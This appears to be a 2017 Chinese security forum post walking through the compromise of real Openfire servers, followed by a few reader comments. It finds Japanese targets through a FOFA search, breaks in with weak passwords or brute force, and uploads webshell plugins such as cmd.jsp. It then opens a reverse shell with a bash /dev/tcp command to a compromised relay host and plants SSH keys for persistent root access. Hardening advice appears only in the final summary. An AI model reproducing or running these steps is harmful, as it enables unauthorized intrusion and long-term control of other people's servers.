用户
搜索
  • TA的每日心情
    奋斗
    5 天前
  • 签到天数: 13 天

    连续签到: 1 天

    [LV.3]经常看看I

    i春秋作家

    Rank: 7Rank: 7Rank: 7

    50

    主题

    86

    帖子

    581

    魔法币
    收听
    0
    粉丝
    10
    注册时间
    2015-11-20

    i春秋签约作者

    发表于 2017-10-11 16:38:10 310576

    1.目标获取

    1fofa.so网站使用搜索body="Openfire, 版本: " && country=JP,可以获取日本存在的Openfire服务器。如图1所示。

    图片1.png
    1搜索目标
    2.暴力或者使用弱口令登录系统

       一般弱口令admin/adminadmin/admin888admin/123456,如果不是这些请直接使用burpsuite进行暴力破解,能够正常访问的网站,如图2所示,openfire可能开放不同端口。
    图片2.png
    2openfire后台登陆地址
    3.进入后台

       输入密码正确后,如图3所示,进入后台,可以查看服务器设置,查看用户/用户群,查看会话,分组聊天以及插件等信息。
    图片3.png
    3进入后台

    4.查看并上传插件

       单击插件,再其中可以看到所有的插件列表,在上传插件下单击上传插件,选择专门生成的openfirewebshell的插件,如图4所示。

    图片4.png
    4上传插件
    在本次测试中,从互联网收集了连个插件,如图5所示,均成功上传。
    图片5.png
    5上传带webshell的插件
    5.获取webshell

    1helloworld插件获取webshell

      单击服务器-服务器设置,如图6所示,如果helloworld插件上传并运行成功,则会在配置文件下面生成一个用户接口设置。单击该链接即可获取webshel,如图7所示。
    图片6.png
    6查看服务器设置
    图片7.png
    7获取webshell

    2broadcast插件获取webshell

       通过url+ plugins/broadcast/webshell文件名称来和获取:
    http://xxx.xxx.xxx.xxx:8080/plugins/broadcast/cmd.jsp?cmd=whoami
    http://xxx.xxx.xxx.xxx:8080/plugins/broadcast/browser.jsp
       helloworld插件中也可以通过地址来获取
    http://xxx.xxx.xxx.xxx:8080/plugins/helloworld/chakan.jsp
      如图8,图9所示,分别获取broadcastwebshell以及查看当前用户权限为root

    图片8.png
    8获取当前用户权限
    图片9.png
    9获取webshell

    6.root密码登录服务器

       渗透到这里按照过去的思路应该已经结束,不过笔者还想尝试另外一种思路,虽然我们通过webshell可以获取/etc/shadow文件,但该root及其它用户的密码明显不是那么容易被破解的。服务器上面用ssh,能否利用公私钥来解决访问问题。

    1)反弹到肉鸡
    执行一下命令,将该服务器反弹到肉鸡服务器xxx.xxx.xxx.xxx8080端口,需要提前使用nc监听8080端口,也即执行“nc -vv -l -p 8080”如图10所示。
    图片10.png
    10监听8080端口
    2)反弹shell到肉鸡
    执行命令“bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/8080 0>&1”反弹到肉鸡,如图11所示,获取一个反弹shell
    图片11.png
    11反弹shell

    7.实际操作流程

    1)远程服务器生成公私钥
    在被渗透的服务器上执行“ssh-keygen -t rsa”命令,默认三次回车,如图12所示,会在root/.ssh/目录下生成id_rsaid_rsa.pub,其中id_rsa为服务器私钥,特别重要,id_rsa.pub为公钥。
    图片12.png
    12在远处服务器上生成公私钥
    2)本地linux 上生成公私钥
      在本地linux上执行命令 “ssh-keygen -t rsa”生成公私钥,将远程服务器的id_rsa下载到本地,执行命令“cat id_rsa > /root/.ssh/authorized_keys”命令,将远处服务器的私钥生成到authorized_keys文件。
    3)将本地公钥上传到远程服务器上并生成authorized_keys
    cat id_rsa.pub >/root/.ssh/authorized_keys
    4)删除多余文件
    rm id_rsa.pub
    rm id_rsa
    5)登录服务器
       使用“ssh [email]root@1xx.1xx.111.1xx[/email]”登录服务器,不用输入远程服务器的密码,达到完美登录服务器的目的。效果如图13所示。
    图片13.png
    13成功登录对方服务器
    8.总结

    1Openfire需要获取管理员帐号和密码,目前通杀所有帮本。Openfire最新版本为4.1.5.
    2)可以通过burpsuite进行admin管理员帐号的暴力破解。
    3)使用openfire安全加固,可以使用强密码,同时严格设置插件权限,建议除了必须的插件目录外,禁用新创建目录。

    onls辜釉 i春秋作家 春秋认证√作家团颜值担当 i春秋签约作者
    沙发
    发表于 2017-10-12 14:27:21
    公钥私钥那里有点不明白,不过还是给表哥顶顶。
    信息安全菜鸟/社会主义接班人
    使用道具 举报 回复
    发表于 2017-10-12 20:45:32
    6666
    使用道具 举报 回复
    发表于 2017-11-3 14:36:35
    没懂那个公和私。我碰到过有SSHRSA的但是只有公的 不知道怎么登录。
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册